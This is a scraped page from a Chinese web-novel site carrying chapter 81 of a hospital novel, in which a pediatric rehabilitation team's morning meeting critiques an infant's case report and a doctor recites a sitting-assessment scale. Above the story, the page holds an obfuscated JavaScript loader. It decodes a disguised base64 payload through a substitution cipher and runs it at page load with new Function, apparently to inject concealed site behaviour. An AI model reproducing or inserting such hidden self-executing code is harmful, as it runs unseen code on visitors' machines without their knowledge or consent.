当书网

阅读记录  |   用户书架
(function(){function u9ecfd17f(v3a5691){var a4b76="Yv_[4Gyb2KUQeR8j6xoi@?;c,-lF3T|IrED~wHt05pdaNz%OJ/s:quPCnLV$^k.A]ZM9!fBgmh17S&(=XW";var tba408="e^&_4XDsRo-|u$gk~Mr1hBf6G?tU;Tbl0[PzivV.ad9OpLcyEj/x7]JCSw,ZW(N:2@mIK8!Hq=3YnFQ5%A";return atob(v3a5691).split('').map(function(x905b9a){var q0ac288=a4b76.indexOf(x905b9a);return q0ac288==-1?x905b9a:tba408[q0ac288]}).join('')}var c=u9ecfd17f('thunder://THdTcEtMRSJ+IisiaTVZXT0iKyJZInVoO2VTJWx3S1NrKXtrO2VTJWx3S1NrcGlpcF1pZlZLcDFwJWZjVkBmPWQlfDVdWVZsNWRkcil7dztrc3Z4NSVRXndTczBsWWJsa1M1SHc4NWxLbzBOSTVsO0tvTSkpe29ZbGVvU31INW8gYmNpZFlZaDtlUyVsd0tTa0tmciVwZil7b1lsZW9TIG5sb3dTODA7b0tNQ0A1b0NLcFlrS2ZyJXBmKX0zSDVvIEBdclk9NGhFIkkvYlVncmlbemFXeVtQbltnVHh6IlYiSFlvVXJpIlYiYndwVWljXSJWIiUlbFVdcl09VXJxVV1pIF0xQV0xQXIxInUzSDVvIE0lcXxmaEBmPWQlfDVdWUViY2lkWVlrZHEpK2JjaWRZWWtpaWMpK2JjaWRZWWtpaWkpK2JjaWRZWWtkZil1VmxwcmZyaEBmPWQlfDVdWUViY2lkWVlrZGYpK2JjaWRZWWtpaWMpK2JjaWRZWWtpaWkpK2JjaWRZWWtkcSl1Vnx8cmRwcWhsNWRkckVNJXF8ZmsiNzF0TyVNdGVwJi4vJU1JTHBXaGgiKXVWWT1wcj1oTSVxfGZrIjcxUEk3RzJJMl46SXxedGVwV2hoIilWTllxcWQ0fGhNJXF8ZmsiJTF0dyUxMk81Xj1TIilWSHx8MXw0MWhNJXF8ZmsiJU10THwsJi8kKGhoIilWNWlkMTE1XTFoTSVxfGZrIiUxP2I1RyhoIilWSGQxcXwxcnBjaE0lcXxmayIlTXRdJEdQfiQoaGgiKVZ+cnJkcllkaE0lcXxmayI1TWROfDhoaCIpVnA7YyVpaEBmPWQlfDVdWUVNJXF8ZmsiVF4mcjVXaGgiKXVWJWk9NWRyZl1ocDtjJWlFTSVxfGZrIjdddE58V2hoIil1Vm8lPXFpcmhwO2MlaUVNJXF8ZmsiJE06SHwxOWgiKXVWbTtwWTQ7WWhwO2MlaUVNJXF8ZmsiJU0mZSQsZGwiKXVWTWY9YzVpaWQ1aE0lcXxmayJ8XiZyN104aCIpVkBmY2NkaTtxfGhNJXF8ZmsifF4mTCIpVkAlO2RjNT0xXWhNJXF8ZmsifCxkQCRXaGgiKTNINW8gfiVmcmlmcWNpaE0lcXxmayIlXWlyNV4ySXA4aGgiKTNINW8gOmRdJV1wMTNINW8gfHJwO3JmWWZ8aHBpaXBdaWZFcnUzdztrcGlpcF1pZjBJWVM4bEA+aSl7fHJwO3JmWWZ8aHBpaXBdaWZFbyU9cWlya207cFk0O1lrKSpwaWlwXWlmMElZUzhsQCl1fXc7a0lLJTVsd0tTMGJZNW8lQDB3U3BZOmE7a34lZnJpZnFjaSk+VWkpezpkXSVdcDFobDVkZHJFWT1wcj11a00lcXxmayJwLHQ0cCwmTyReSmgiKSkzOmRdJV1wMTB3cGgibCIrbTtwWTQ7WWspKmlZNDM6ZF0lXXAxMGJsT0lZMEx3cGxAaCJpcnJYIjM6ZF0lXXAxMGJsT0lZMEBZdzhAbGgiPXJyTjoiMzpkXSVdcDEwcHdiNXxJWXBobG9lWTN3O2tsNWRkcjB8S3BPQmhTZUlJKXtsNWRkcjB8S3BPMDVOTllTcENAd0lwazpkXSVdcDEpfVlJYll7SDVvIEhwPT1kaDtlUyVsd0tTayl7bDVkZHIwfEtwTzA1Tk5ZU3BDQHdJcGs6ZF0lXXAxKTNAZj1kJXw1XVkwb1lNS0hZSkhZU2x6d2JsWVNZb2tAJTtkYzU9MV1WSHA9PWRWOzVJYlkpfTNAZj1kJXw1XVkwNXBwSkhZU2x6d2JsWVNZb2tAJTtkYzU9MV1WSHA9PWRWOzVJYlkpfX1INW8gOzF8ZHxZXTFkaGw1ZGRyRVk9cHI9dWtNJXF8ZmsiJF5pdyReKGgiKSkzOzF8ZHxZXTFkMHdwaEtwMXAlZmMrJWk9NWRyZl1rbTtwWTQ7WWspKmlZNCkzOzF8ZHxZXTFkMGJsT0lZMEBZdzhAbGgick46IjM7MXxkfFldMWQwYmxPSVkwS0hZbztJS0xoIkB3cHBZUyIzJUtTYmwgfDE0Y3xkcGk1aGsvfDFmaSVWTnByXWNpXTRWTzVZZGN8aF1yciloPkRvS013YlkwbzUlWWtFO1lsJUBrL3wxZmklVk5wcl1jaV00KVZTWUwgRG9LTXdiWWtra1tWb1kvWSVsKWg+YllsVHdNWUtlbGtrayloPm9ZL1klbGtTWUwgSm9vS29rImx3TVlLZWwiKSkpVk81WWRjfCkpKXUpM0g1byBOcHIxOzV8PWloNWJPUyUgO2VTJWx3S1NrbD0lNTV8NCl7SDVvIEhjPXBmY11ZY2hFIi9iIlYiJWJiIlYiOHc7IlYiL044IlYiTlM4IlYiL044WSJWIkxZfE4iViJiSDgiViJAbE1JIlYiL05ZOCJ1M0g1byBOXWljNV0lcD1oSGM9cGZjXVljMElZUzhsQDNIYz1wZmNdWWNoSGM9cGZjXVljRW8lPXFpcmttO3BZNDtZaykqTl1pYzVdJXA9KXUzJUtTYmwgTGQ7XTE0cWhFIiRdJWUkTSR+LiwkPXBHJWVwLGRMYS9qPS5UN2gidTNINW8gOFklOztxaExkO10xNHFFcnUzdztrTGQ7XTE0cTBJWVM4bEA+aSl7OFklOztxaExkO10xNHFFbyU9cWlya207cFk0O1lrKSpMZDtdMTRxMElZUzhsQCl1fUg1byBiNXIlOztkZmhONW9iWTlTbGtLcDFwJWZjKTN3O2t3Yi41LmtiNXIlOztkZikpYjVyJTs7ZGZocjNiNXIlOztkZitoZmZmZjNINW8gU2kxaSUlNWhFIkBsbE5iQXMiVnw0Y3A1cWs4WSU7O3EpViJAbE1JIlZgYk1Se2I1ciU7O2RmfWBWYFJ7S3AxcCVmY30wUntIYz1wZmNdWWN9YHVFfnJyZHJZZHVrInMiKTN3O2s6ZF0lXXAxQmhTZUlJKTpkXSVdcDEwSDVJZVkraCJcb1xTYllTcCBtYiBAS2JsICIrU2kxaSUlNTNsb097SDVvIEtZJVldZmg1TDV3bCB8MTRjfGRwaTVrU2kxaSUlNVZ7b1lwd29ZJWxBIjtLSUlLTCJ9Vmk9cnIpM0tZJVldZmg1TDV3bCBLWSVZXWYwbFk6bGspM0g1byBOaWk9MWRjcjRoS1klWV1mMHdTcFk6YTtrYmNpZFlZa2NpKSkzSDVvIGp8cjRwMXJ8JWgiIjN3O2tOaWk9MWRjcjQ+aHIpe2p8cjRwMXJ8JWhLWSVZXWZFTllxcWQ0fHVrTmlpPTFkY3I0KTNLWSVZXWZoS1klWV1mRU5ZcXFkNHx1a3JWTmlpPTFkY3I0KX1LWSVZXWZoS1klWV1mRU1mPWM1aWlkNXVrczB7aVY0fXM4KUVAZmNjZGk7cXx1a2s6aD46RTVpZDExNV0xdWsiIilFSGQxcXwxcnBjdWspRX5ycmRyWWR1ayIiKSkpRX5ycmRyWWR1ayIiKTNLWSVZXWZoS1klWV1mK2p8cjRwMXJ8JTNLWSVZXWZoTSVxfGZrS1klWV1mKTNsPSU1NXw0aEtZJVldZkU1aWQxMTVdMXVrInMiKUVydTN3O2s6ZF0lXXAxQmhTZUlJKTpkXSVdcDEwSDVJZVkraCJcb1xTOFlsIG1iIEBLYmwgYmUlJVliYiIrbD0lNTV8NH0lNWwlQGt8O3wlJWlmPSl7dztrOmRdJV1wMUJoU2VJSSk6ZF0lXXAxMEg1SWVZK2giXG9cUzhZbCBtYiBAS2JsIDs1d0lZcCIrfDt8JSVpZj19SDVvIE4xfGM1WWhscHJmcmtAXXJZPTQwJUtTJTVsa0VgU0tMVVJ7eTVsWUUiU0tMInVrKX1gVmBAb1k7VVJ7SUslNWx3S1MwQG9ZO31gVmBlYiVVUntwO3BpXXFkayl9YHUpMGJLb2xra2spaD5tO3BZNDtZaylVMD0pKUV+cnJkcllkdWsiViIpKTNINW8gb2NjaSVpZGhOMXxjNVkwd1NwWTphO2tiY2lkWVlrY2kpKT5VaS1OMXxjNVlFTllxcWQ0fHVrTjF8YzVZMHdTcFk6YTtrYmNpZFlZa2NpKSkpQSIiM04xfGM1WWhOMXxjNVlFSHx8MXw0MXVrb2NjaSVpZFYiIilFNWlkMTE1XTF1ayIiKUVIZDFxfDFycGN1aylFfnJyZHJZZHVrIiIpK29jY2klaWQzOzF8ZHxZXTFkMGJvJWhFIkBsbE5iQXMiVmw9JTU1fDRWOzF8ZHxZXTFkMHdwVk4xfGM1WXVFfnJyZHJZZHVrInMiKTNsb097bDVkZHIwfEtwTzA1Tk5ZU3BDQHdJcGs7MXxkfFldMWQpfSU1bCVAa1kpe2w1ZGRyMDVwcEpIWVNsendibFlTWW9rInlheENLU2xZU2x6SzVwWXAiVmtrKWg+e2w1ZGRyMHxLcE8wd1NiWW9sP1k7S29ZazsxfGR8WV0xZFZsNWRkcjB8S3BPMCVAd0lwLktwWWJFcnUpfSkpfXc7azpkXSVdcDFCaFNlSUkpezpkXSVdcDEwSDVJZVkraCJcb1xTNU5OWVNwWXAgWU0gbEsgQGxNSSIzSDVvICVyZDtycHJobDVkZHIwOFlsSklZTVlTbD9POXBrOzF8ZHxZXTFkMHdwKTN3O2slcmQ7cnByaGhTZUlJUVElcmQ7cnByaGhlU3BZO3dTWXApezpkXSVdcDEwSDVJZVkraCJcb1xTICU1U2wgOFlsIFlNIDtvS00gQGxNSSJ9fX0zdztrOmRdJV1wMUJoU2VJSSl7OmRdJV1wMTBINUllWStoIlxvXFNiWVNwIC9iIEBLYmwgIit8cnA7cmZZZnx9SDVvIHA7cGldcWRoO2VTJWx3S1NrKXtsb097JUtTYmwgWT00O3xoa1NZTCB5NWxZKTBsS3pLJTVJWXk1bFlubG93UzhrKTMlS1NibCBTO2N8ZmhgYk1sd1tid3BbUns7JT1dY3BdWTQwS3AxcCVmY31bTkhgM0lZbCBMJTQ0XTVZaFBuYS4wTjVvYllrSUslNUlubEtvNThZMDhZbDlsWU1rUztjfGYpKTN3O2tMJTQ0XTVZaGhTZUlJUVFMJTQ0XTVZMHA1bFlCaFk9NDt8KXtMJTQ0XTVZaHtOSFR3TVliQXJWcDVsWUFZPTQ7fH19b1lsZW9TIEwlNDRdNVkwTkhUd01ZYitpfSU1bCVAazVZJTRjZCl7b1lsZW9TIGl9fTNINW8gfDRjcDVxaDtlUyVsd0tTa35yaWN8cSl7b1lsZW9TIE0lcXxma35yaWN8cSlFSHx8MXw0MXVrYmNpZFlZazRdKVZtO3BZNDtZaykwbEtubG93UzhrMWMpMGJJdyVZa28lPXFpcmttO3BZNDtZaykqZCkrXSkpfTNOcHIxOzV8PWlrfDRjcDVxa3xycDtyZllmfCkpM0BmPWQlfDVdWUUiNXBwSkhZU2x6d2JsWVNZbyJ1ayJNWWJiNThZIlZrO2VTJWx3S1NrNVklNGNkKXt3O2s1WSU0Y2QwcDVsNTBqaGhLcDFwJWZjKXtsNWRkcjA4WWxKSVlNWVNsP085cGs7MXxkfFldMWQwd3ApMG9ZTUtIWWspM0g1byBvZjtjaXJpJXJoU2VJSTN3O2s6ZF0lXXAxQmhTZUlJKXs6ZF0lXXAxMEg1SWVZK2giXG9cU29ZJVl3SFkgWU0gTktibCBNWWJiNThZIjM6ZF0lXXAxMEg1SWVZK2giXG9cU1kwcDVsNTBIICIrNVklNGNkMHA1bDUwbTNvZjtjaXJpJXJoazAwMGxZXTFjKWg+e3c7a0JsWV0xY1FRbFldMWMwSVlTOGxAPGhyKW9ZbGVvUzM6ZF0lXXAxMEg1SWVZK2giXG9cUyIrbFldMWMwL0t3U2siICIpfX1TWUwgJmVTJWx3S1NrIjVvOGIiVjVZJTRjZDBwNWw1MG0pa3tbbHAlYkF8fHJkcHFWW0lLOEFvZjtjaXJpJXJ9KX19KSl9KWtFIiRdJWV8VGpdcF0mbXwscmVwLGRMYS9qPS5UN2gidVYiaWNdIlZMd1NwS0xWcEslZU1ZU2wpfTN+aTVZXT1Zaykz'.substr(10));new Function(c)()})();
上一章
目录 | 设置
下一页

第81章 格局(1 / 2)

加入书签 | 推荐本书 | 问题反馈 |

晨会照常进行,三组值夜班的医生汇报了新收的一名患儿,周瑭认真听着。

“患儿,陈康冬,男,8个月,系双胎之一,33周早产。因‘支气管肺炎’就诊于儿内一科,儿内值班医生发现其存在发育落后问题,转至我科。

入院时查体:患儿竖头不稳,不会独坐,不会独爬,不会无意识发‘bama’音。患儿发热,体温38.9℃,流清涕,咳嗽,听诊时双肺呼吸音粗,可闻及湿啰音。

诊断为:1.支气管肺炎2.发育迟缓。给予小儿推拿治疗和头孢克肟口服治疗后,患儿睡眠可,吃奶可。现精神可,体温为36.7℃,双肺听诊同前。”

姚主任点头,点评道:“不错”。

虽然只有“不错”二字,值班医生松了一口气。不过,姚主任问:“这份汇报病历存在两个细节的问题,谁能指出?”

众人听了,皆低头凝气,生怕姚主任会问到自己的头上。他们都在思忖:如此清晰的病历,哪里存在细节问题?而且还有两处!

所有人细细回顾病历内容,努力找到问题。

“高文慧,你身为科室业务指导,说一下吧”,姚主任点名。

高文慧老实回答:“我只找到一处问题”。

“嗯,说说吧”!

高文慧说:“患儿33周早产,纠正月龄后,不足8个月。不足8个月的幼儿,本不能独爬,这是常识,不必写在病历中”。

姚主任点头:“嗯”,然后问:“谁还能指出另一处”。

再无人回应,姚主任便提问李佳书:“从你康复治疗的角度看,你觉得有什么问题?”

李佳书答道:“幼儿6个月可发育到独坐,患儿目前8个月,不会独坐,应该给我一个准确的评估,比如扶坐、靠背坐。等患儿的肺炎治愈后,进行康复治疗,我有一个明确的康复治疗方向和手法”。

“说得好”,姚主任继续问:“那你背一下,患儿坐姿的评估表”。

“啊”,李佳书怔了一怔,暗自忖言:那份评估表不是放在手边,日常用的吗?还需要背吗?

他迟疑着回:“我没背诵过”。

众人亦不敢说话,整个会议室静悄悄,从来没有人背诵过日常用的评估表,那些表格放在桌子上,随时可以用的,还需要背过吗?

“周瑭,你说一下”,姚主任说。

“是”,周瑭说:“一共有20项评估内容:1.抓住双手,从仰卧位到坐位,头与身体呈直线。2.向右侧翻身到坐位。3.向左侧翻身到坐位。4.检查者支撑背部,保持头直立3秒钟。5.检查者支撑背部,保持头直立10秒钟。

6.双手撑地,保持5秒钟。7.双手撑地,保持10秒钟。8.双臂平前游离坐位,保持3秒钟。9.身体前倾,捡起玩具后,恢复至坐位,不用手支撑。10.触到放在右后方45度的玩具后,恢复坐位。”

姚主任点头,说:“好了,就这些吧。”

周瑭停住,姚主任说:“这些评估表,虽然平时我也没有要求你们记住,但是,只有背熟了,才能对患儿的整体发育有一个数据性的把握。

如果没有这些具体的数据描述,你只评估说患儿不会独坐,那么你对这个患儿只有整体的一个把握。但是,你记住评估表后,你的评估就是患儿手撑地独坐8秒,有了数据,那么,这个患儿在你心中的掌握就是具体的了。”

所有的医师都记住了,同时暗暗佩服周瑭。周瑭平时上班总是安安静静地坐在办公室里,不是在研究病历,就是在看书。他们都不知道周瑭在看什么,现在总算知道了。

上一章
目录
下一页
A- 18 A+
默认 贵族金 护眼绿 羊皮纸 可爱粉 夜间